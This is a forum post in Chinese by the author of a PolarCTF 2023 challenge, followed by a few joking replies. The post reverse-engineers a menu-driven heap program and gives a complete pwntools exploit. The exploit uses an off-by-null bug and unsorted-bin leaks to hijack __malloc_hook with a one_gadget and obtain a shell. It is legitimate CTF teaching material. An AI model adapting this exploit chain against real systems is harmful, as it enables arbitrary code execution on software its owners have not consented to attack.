PolarCTF2023Fall : 夕阳下的舞者

查看 121|回复 5
作者:R00tkit   
前言
这是我出的一道赛题,主要考察 off-by-null 和对glibc源码的理解。靶场地址
562+5Liq5Yiw
检查文件信息


image-20230911180215833.png (25 KB, 下载次数: 0)
下载附件
1
2023-9-26 14:18 上传

ELF64位小端序程序,动态链接。


image-20230911180407139.png (24.23 KB, 下载次数: 0)
下载附件
2
2023-9-26 14:18 上传

除了FODRTIFY保护,其余保护全开。
patchelf --replace-needed libc.so.6 ./libc-2.23.so ./562+5Liq5Yiw
patchelf --set-interpreter ./ld-2.23.so ./562+5Liq5Yiw
将环境修改为题目的运行环境。
逆向分析
__int64 sub_A9D()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("\x1B[1;33m Welcome to Chicken farm!!! \x1B[0m");
  puts("1.Add a Chicken.");
  puts("2.Delete a Chicken.");
  puts("3.Cook a chicken.");
  puts("4.Chicken you are so beautiful.");
  puts("5.EXIT.");
  _isoc99_scanf("%d", &v1);
  return v1;
}
sub_A9D()函数为程序菜单。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+Ch] [rbp-4h]
  sub_A50(a1, a2, a3);
  malloc(1uLL);
  puts(
    "==:.........................................................................=..::::..=:::::::::::\n"
    "===-:.......................................................................=..=-:=:.=:.:::::::::\n"
    "=====-......................................................................=..-:.=:.=:..::::::::\n"
    "=======:.........................................:..........................=..:--=..=:...:::::::\n"
    "========-:......................................:-=++-......................=..=.:=..=:....::::::\n"
    "==========-....................................:+**###+:....................=-::-----=:......::::\n"
    "===========-...............................:--:.+######=....................=.-:-:-:.=:.......:::\n"
    ":-=========-.............................:+###*:*#+#+*=:...................:=.---:--.=:........::\n"
    ":::-=======-............................:######:####+-......................-::::.::.=:.........:\n"
    "::::--=====-...........................:#++####=+####:.......................:--------..........:\n"
    "::::::--===-...........................#++++++#*-#++##:..........................................\n"
    "::::::::-==-..........................*++++++++#:+++++*..........................................\n"
    "::::::::::--..........................+++++++++#++#++++-.........................................\n"
    "::::::::::::..........................#++++++++#++#++++=.........................................\n"
    ":::::::::::::.........................=+++++++#+++##+++=.........................................\n"
    "..:::::::::::::........................*+++++#++++++#++:.........................................\n"
    "....:::::::::::::.......................#++++#=++++++#*..........................................\n"
    "......:::::::::::::.....................++*##**#++++#=:..........................................\n"
    "........:::::::::::::..................-==++++++*##*=:...........................................\n"
    ".........:::::::::::::................-======+==+++..............................................\n"
    "...........:::::::::::::..............-===+++++++++-.............................................\n"
    ".............:::::::::::::...........:===++++++++++=:............................................\n"
    "...............:::::::::::::.........===++*+-=***+++=............................................\n"
    "................::::::::::::::......-=+++*=...-*++++=............................................\n"
    "..................:::::::::::::....-==+++-.....=++++=:...........................................\n"
    "....................:::::::::::::..==+++-.......+++++-...........................................\n"
    "......................::::::::::::-=++*=........:*+++=...........................................\n"
    "........................::::::::::=+++-..........:+*++-.........................................:\n"
    ".........................::::::::-==+=:...........:+===........................................::\n"
    "::::.......................:::::-==++::::..........====:......................................:::\n"
    "::::::::::::::::::::::::::::----===+=::::::::::::::-+==-:::::::::::::::::::::::::::::::::::::::--\n"
    ":::::::::::::::::::::::::::::::-==++:::::::::::::::-+===::::::::::::::::::::::::::::::::::::-----\n"
    ":::::::::::::::::::::::::::::::-=++-::::::::::::::::+===:::::::::::::::::::::::::::::::::::::----\n"
    ":::::::::::::::::::::::::::::::=++=:::::::::::::::::====:::::::::::::::::::::::::::::::::::::::--\n"
    "::::::::::::::::::::::::::::::-+++::::::::::::::::::-+++::::::::::::::::::::::::::::::::::::::::-\n"
    "::::::::::::::::::::::::::::::+#+:::::::::::::::::::::*#-::::::::::::::::::::::::::::::::::::::::\n"
    "::::::::::::::::::::::::::::::##+:::::::::::::::::::::*#*::::::::::::::::::::::::::::::::::::::::\n"
    "::::::::::::::::::::::::::::-*###:::::::::::::::::::::###+:::::::::::::::::::::::::::::::::::::::");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          v4 = sub_A9D();
          if ( v4 != 1 )
            break;
          sub_BFC();
        }
        if ( v4 != 2 )
          break;
        sub_D28();
      }
      if ( v4 != 3 )
        break;
      sub_EB3();
    }
    if ( v4 != 4 )
      break;
    sub_1005();
  }
  return 0LL;
}
可以看到是一道菜单题。
__int64 sub_BFC()
{
  int v1; // [rsp+4h] [rbp-Ch]
  int *v2; // [rsp+8h] [rbp-8h]
  v1 = sub_B34();
  if ( v1 == -1 )
  {
    puts("\x1B[1;31m The chicken nest collapsed!!! \x1B[0m");
  }
  else
  {
    v2 = (int *)malloc(0x20uLL);
    puts("\x1B[1;33m Give me the size of the chicken. \x1B[0m");
    _isoc99_scanf("%d", v2);
    *((_QWORD *)v2 + 1) = malloc(*v2);
    *((_QWORD *)v2 + 3) = malloc(0x80uLL);
    *((_QWORD *)v2 + 2) = malloc(0x20uLL);
    puts("\x1B[1;33m Give me the name of the chicken. \x1B[0m");
    sub_B74(*((_QWORD *)v2 + 1), (unsigned int)*v2);
    puts("\x1B[1;33m Give the chicken a mark. \x1B[0m");
    read(0, *((void **)v2 + 2), 0x20uLL);
    dword_203060[v1] = 1;
    qword_203080[v1] = v2;
  }
  return 0LL;
}
sub_BFC()函数创建了一个结构体,并且可以自定义chicken大小。数组qword_203080记录了每一个chicken,数组dword_203060记录了qword_203060的使用情况。可以向mark和name读入内容。并且未将v2+3处的内容初始化,可能存在泄露。
struct Chicken {
    int size;
    void* name;
    void* mark;
    void* msg; // 后面分析得知,这里记载的菜名。
};
根据读入情况,不难分析出结构体的内容。
__int64 sub_B34()
{
  int i; // [rsp+0h] [rbp-4h]
  for ( i = 0; i
sub_B34()函数用于查看qword_203060数组的使用情况。
char *__fastcall sub_B74(char *a1, int a2)
{
  char *result; // rax
  read(0, a1, a2);
  result = &a1[a2];
  *result &= ~1u;
  return result;
}
sub_B74()函数置零操作存在off-by-null漏洞。
__int64 sub_D28()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("\x1B[1;33m Which chicken will you kill? \x1B[0m");
  _isoc99_scanf("%d", &v1);
  if ( dword_203060[v1] )
  {
    *(_DWORD *)qword_203080[v1] = 0;
    dword_203060[v1] = 0;
    free(*(void **)(qword_203080[v1] + 8LL));
    *(_QWORD *)(qword_203080[v1] + 8LL) = 0LL;
    free(*(void **)(qword_203080[v1] + 16LL));
    *(_QWORD *)(qword_203080[v1] + 16LL) = 0LL;
    free(*(void **)(qword_203080[v1] + 24LL));
    qword_203080[v1] = 0LL;
  }
  else
  {
    puts("\x1B[1;31m The chicken has already been cooked. \x1B[0m");
  }
  return 0LL;
}
sub_D28()函数用于释放多块,没有问题。
__int64 sub_EB3()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("\x1B[1;33m Which chicken will you cook? \x1B[0m");
  _isoc99_scanf("%d", &v1);
  if ( dword_203060[v1] )
  {
    puts("Old name");
    puts(*(const char **)(qword_203080[v1] + 8LL));
    puts("Give me new name.");
    read(0, *(void **)(qword_203080[v1] + 8LL), *(int *)qword_203080[v1]);
    puts("New name");
    puts(*(const char **)(qword_203080[v1] + 8LL));
    puts("Give me Cook name.");
    sub_BC0(v1);
  }
  else
  {
    puts("\x1B[1;31m Ni gun ma i u. \x1B[0m");
  }
  return 0LL;
}
sub_EB3()函数用于改名字,并记录菜名。
ssize_t __fastcall sub_BC0(int a1)
{
  return read(0, *(void **)(qword_203080[a1] + 24LL), 0x80uLL);
}
sub_BC0()函数用于读取菜名。
__int64 sub_1005()
{
  int i; // [rsp+Ch] [rbp-4h]
  for ( i = 0; i
sub_1005()函数用于打印所有信息。这里菜名被标记为ErrMsg。
漏洞利用
我们可以通过sub_BFC()函数未初始化的ErrMsg(菜名)和sub_1005()来进行信息泄露,得到heap和libc地址。然后利用off-by-null漏洞制造堆块重叠,向fastbin中写入__malloc_hook地址,然后篡改其为one_gadget来获取权限。
前置脚本
from pwn import *
#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_local = False
is_debug = True
def connect():
    global elf, libc, p
    elf = ELF('./562+5Liq5Yiw')
    libc = ELF('./libc-2.23.so')
    if is_local:
        p = process('./562+5Liq5Yiw')
    else:
        p = remote('IP', port)
def debug(gdbscript=""):
    if is_debug:
        gdb.attach(p, gdbscript=gdbscript)
        pause()
    else:
        pass
def Add(size, data, mark):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'1')
    p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
    p.sendline(str(size).encode())
    p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
    p.send(data)
    p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
    p.send(mark)
def Delete(idx):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'2')
    p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
    p.sendline(str(idx).encode())
def Cook(idx, name, cook):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'3')
    p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Give me new name.\n")
    p.send(name)
    p.recvuntil(b"Give me Cook name.\n")
    p.send(cook)
def Black():
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'4')
定义了函数接口和前置操作。
泄露libc地址
def get_libc():
    global __malloc_hook, libc_base
    Add(0x20, b'a'*20, b'b'*20)
    Delete(0)
    Add(0x20, b'c'*20, b'd'*20)
    Black()
    p.recvuntil(b"0\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00'))-0x3c4b78
    log.success("libc : 0x%x" % libc_base)
    __malloc_hook = libc_base + libc.symbols["__malloc_hook"]
本题泄露利用unsorted bin中保存的libc地址与libc基址的固定偏移获取libc基址。因为结构体在初始化时并未初始化ErrMsg的值,并且其大小为0x90,我们申请一个结构体再将其释放,再次申请时可将其从unsorted bin中申请出来,然后可以通过打印函数打印unsorted bin中的内容。


image-20230911185916169.png (20.62 KB, 下载次数: 0)
下载附件
3
2023-9-26 14:19 上传

在打印前下断点可以看到,此时ErrMsg中保存的值为libc地址。由于libc中的地址固定偏移不受pie和aslr保护影响,可以由此计算出libc基址。
泄露heap地址
def get_heap():
    global heap_addr
    Add(0x80, b'e'*0x20, b'f'*0x10) # 1
    Add(0x80, b'g'*0x20, b'h'*0x10) # 2
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3
    Delete(1)
    Delete(3)
    Add(0x20, b'i'*0x20, b'j'*0x10) # 1
    Cook(1, b'a'*0x10, b'cccccccn');
    Black()
    p.recvuntil(b"1\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    p.recvuntil(b'cccccccn')
    heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
    log.success("heap : 0x%x" % heap_addr)
堆地址也可以通过unsorted bin的bk指针泄露,我们将两个不连续的non-fast大小的堆块放入unsorted bin中,由于unsorted bin采取先进先出模式,所以我们会将结构体1重新申请出来,它ErrMsg的bk位置便是结构体3的地址。然后通过改名函数将ErrMsg的前八个字节覆盖满,然后便可通过打印函数将堆地址泄露。


image-20230911191326440.png (24.02 KB, 下载次数: 0)
下载附件
4
2023-9-26 14:19 上传

同样在打印前下一个断点,可以看到其bk位置为一个堆地址。
通过修改__malloc_hook为one_gadget地址get_shell
def get_shell():
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3
    Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4
    Add(0x60, b'c'*0x10, b'd'*0x10) # 5
    Add(0x60, b'e'*0x10, b'f'*0x10) # 6
    Add(0x60, b'h'*0x10, b'j'*0x10) # 7
    Delete(6)
    Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6
    Delete(6)
    Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
    Delete(0)
    Delete(1)
    Delete(2)
    Add(0x60, b'a'*0x10, b'b'*0x10) # 0
    one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    Add(0x60, b'a'*0x13+p64(libc_base+one[1]), b'c'*0x10) # 1
    Delete(4)
因为Add函数存在off-by-null漏洞,所以我们可以制造一个堆块重叠,将一个fast chunk包含在其中,这里需要注意的时,我们要绕过unlink检查,需要将伪造的fake chunk的fd和bk指向它本身。然后计算好偏移将fast chunk的fd位置改为__malloc_hook附近包含__malloc_hook大小的fake chunk的位置。然后将__malloc_hook改为one_gadget。此时四个one_gadget都无法打通,我们可以free一个错误的chunk来调用malloc_printerr函数,这个函数中存在其他的调用,最后会调用到malloc,然后便可调用one_gadget。


image-20230911193221372.png (44 KB, 下载次数: 0)
下载附件
5
2023-9-26 14:19 上传

通过find_fake_fast来寻找__malloc_hook附近的fake_chunk。fake_chunk的prev_size距离__malloc_hook有0x23大小。所以填充0x13字节即可覆盖到目标地址。


image-20230911193629573.png (34.77 KB, 下载次数: 0)
下载附件
6
2023-9-26 14:20 上传

我们可以通过k来查看函数调用栈,发现free报错后会在动态链接器调用malloc。


image-20230911194307830.png (69.74 KB, 下载次数: 0)
下载附件
7
2023-9-26 14:20 上传

可以在源码中发现,由于free一个错误堆块调用了malloc_printerr函数,最后在dl-error.c调用了malloc函数。
完整exp
from pwn import *
#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_debug = False
is_local = False
def connect():
    global elf, libc, p
    elf = ELF('./562+5Liq5Yiw')
    libc = ELF('./libc-2.23.so')
    if is_local:
        p = process('./562+5Liq5Yiw')
    else:
        p = remote('IP', port)
def debug(gdbscript=""):
    if is_debug:
        gdb.attach(p, gdbscript=gdbscript)
        pause()
    else:
        pass
def Add(size, data, mark):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'1')
    p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
    p.sendline(str(size).encode())
    p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
    p.send(data)
    p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
    p.send(mark)
def Delete(idx):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'2')
    p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
    p.sendline(str(idx).encode())
def Cook(idx, name, cook):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'3')
    p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Give me new name.\n")
    p.send(name)
    p.recvuntil(b"Give me Cook name.\n")
    p.send(cook)
def Black():
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'4')
def get_libc():
    global __malloc_hook, libc_base
    Add(0x20, b'a'*20, b'b'*20) # 0 errmsg_0x90->unsorted
    Delete(0) # errmsg_0x90->unsorted
    Add(0x20, b'c'*20, b'd'*20) # 0 # unsorted->errmsg_0x90
    Black()
    #debug() # db1
    p.recvuntil(b"0\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3c4b78
    log.success("libc : 0x%x" % libc_base)
    __malloc_hook = libc_base + libc.symbols["__malloc_hook"]
    sleep(0.5)
def get_heap():
    global heap_addr
    Add(0x80, b'e'*0x20, b'f'*0x10) # 1
    Add(0x80, b'g'*0x20, b'h'*0x10) # 2
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3
    Delete(1)
    Delete(3)
    #debug() # db2
    Add(0x20, b'i'*0x20, b'j'*0x10) # 1
    Cook(1, b'a'*0x10, b'cccccccn')
    Black()
    #debug() # db3
    p.recvuntil(b"1\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    p.recvuntil(b'cccccccn')
    heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
    log.success("heap : 0x%x" % heap_addr)
    sleep(0.5)
def get_shell():
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3
    Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4 first 0x71
    Add(0x60, b'c'*0x10, b'd'*0x10) # 5
    Add(0x60, b'e'*0x10, b'f'*0x10) # 6
    Add(0x60, b'h'*0x10, b'j'*0x10) # 7
    #debug() # db4
    Delete(6)
    #debug() # db5
    Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6 off-by-null
    #debug() # db6
    Delete(6)
    #debug() # db7
    Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
    #debug() # db8
    Delete(0)
    Delete(1)
    Delete(2)
    Add(0x60, b'a'*0x10, b'b'*0x10) # 0
    one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    Add(0x60, b'a'*0x13+p64(libc_base+one[1]), b'c'*0x10) # 1
    #gdb.attach(p, 'b *_dl_signal_error')
    Delete(4)
    #pause()
    sleep(0.5)
def pwn():
    connect()
    get_libc()
    get_heap()
    get_shell()
    p.interactive()
if __name__ == '__main__':
    pwn()

函数, 地址

Phantom可   

闻鸡起舞啊 这是
R00tkit
OP
  

小黑子,露出鸡脚了吧
qfsw   


正己 发表于 2023-9-26 19:18
小黑子,露出鸡脚了吧

我是真爱粉
w547890   

这个舞者,可以穿背带裤吗?
qfsw   

这个舞者,可以穿背带裤吗?
您需要登录后才可以回帖 登录 | 立即注册

返回顶部